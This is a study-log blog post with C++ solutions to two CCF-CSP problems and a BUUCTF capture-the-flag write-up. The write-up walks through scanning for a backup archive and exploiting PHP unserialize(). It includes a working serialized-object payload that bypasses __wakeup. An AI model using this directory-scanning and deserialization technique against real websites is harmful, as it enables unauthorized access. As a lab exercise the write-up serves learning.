20240131

CSP

202312-1 仓库规划

题目链接:http://118.190.20.162/view.page?gpid=T180

用三层循环逐个比较

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<iostream>
using namespace std;

#define M 12
#define N 1005
int a[N][M];

int main()
{
int n,m;
cin>>n>>m;
int i,j,k;
for(i=1;i<=n;i++)
{
for(j=0;j<m;j++)
{
cin>>a[i][j];
}
}
for(i=1;i<=n;i++)
{
bool p=true; //判断有无上级仓库
for(j=1;j<=n;j++)
{
bool pd=true;
for(k=0;k<m;k++)
{
if(a[i][k]>=a[j][k])
{
pd=false;
break;
}
}
if(pd) //说明是上级仓库
{
cout<<j<<endl;
p=false;
break; //只要上级最小的
}
}
if(p)
{
cout<<0<<endl;
}
}
return 0;
}
202312-2 因子化简

题目链接:http://118.190.20.162/view.page?gpid=T179

对于待分解的数x,从小到大遍历所有可能的因数,可以被x整除就一直除以这个因数,直到x被分解完毕

参考:CCF-CSP真题202312-2因子化简(C++满分题解)_202312-2 试题名称: 因子化简-CSDN博客

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<iostream>
#include<math.h>
using namespace std;

typedef long long LL;

int main()
{
int q;
cin>>q;
LL res;
LL n;
int k;
for(int i=0;i<q;i++)
{
res=1;
n=0;
k=0;
cin>>n;
cin>>k;
for(int i=2;i<=n/i;i++)
{
int coef=0;
while(n%i==0)
{
n/=i;
coef++;
}
//某项指数大于等于制定阈值k,此项才会保留,否则不计入结果
if(coef>=k) res*=pow(i,coef);
}
cout<<res<<endl;
}
return 0;
}

Buuctf

16 PHP

题目提示了备份网站

image

使用目录扫描工具 dirsearch

目录扫描工具 dirsearch 使用详解 - FreeK0x00 - 博客园 (cnblogs.com)

可以直接到github上下载压缩包,解压后,进入目录运行cmd

首先安装dirsearch:python setup.py install

如果报错,可能是因为pip版本太低,更新pip:python -m pip install --upgrade pip

运行,开始扫描:py -3.9 dirsearch.py -u http://15349308-86d1-4f57-8e2c-50b34e5d48eb.node4.buuoj.cn:81/ -e php

响应成功的如下图所示

image

访问www.zip文件,下载了一个压缩包

image

(常见的黑客备份文件有www.tar.gz和www.zip,尝试www.zip可直接得到文件)

解压得到一系列文件

image

查看index.php文件,发现包含class.php文件,采用get传参select,还有个php反序列化函数unserialize(),所以这道题应该是PHP反序列化的题目。

所以页面可以传进一个参数select然后把它反序列化,反序列化的过程中会用到class.php

image

查看class.php文件,有输出flag的条件

要调用到__destruct()并且password=100,username=admin才能echo $flag

image

魔术方法,反序列化知识点可参考https://dbqyw.github.io/2024/01/24/PHP/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
在反序列化脚本结束时会自动调用它,它是unserialize()结束的魔术方法(魔法函数)

魔术方法
通常来说有一些PHP的魔法函数会导致反序列化漏洞,如:
__construct 当一个对象创建时自动调用
__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
__sleep() 使**用serialize()函数时触发
__wakeup 使用unserialse()**函数时会自动调用
__toString 当一个对象被当作一个字符串被调用。
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据//调用私有属性时使用
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发

构造序列化,php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Name
{
private $username = "yesyesyes";
private $password = "nonono";
public function __construct($username,$password)
{
$this->username=$username;
$this->password=$password;
}
}
$a = new Name(@admin,100);
//var_dump($a);
//echo "<br>";
$b = serialize($a);
echo $b."<br>";//输出序列化
echo urlencode($b);//输出url编码后的序列化
?>

序列化后是这样的:

image

调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name后面的2改为3或以上即可

1
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

然后url识别不了”,改为%22

1
O:4:%22Name%22:3:{s:14:%22Nameusername%22;s:5:%22admin%22;s:14:%22Namepassword%22;i:100;}

因为成员(属性)是private,所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。

1
O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

完整payload:

1
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

得到flag

image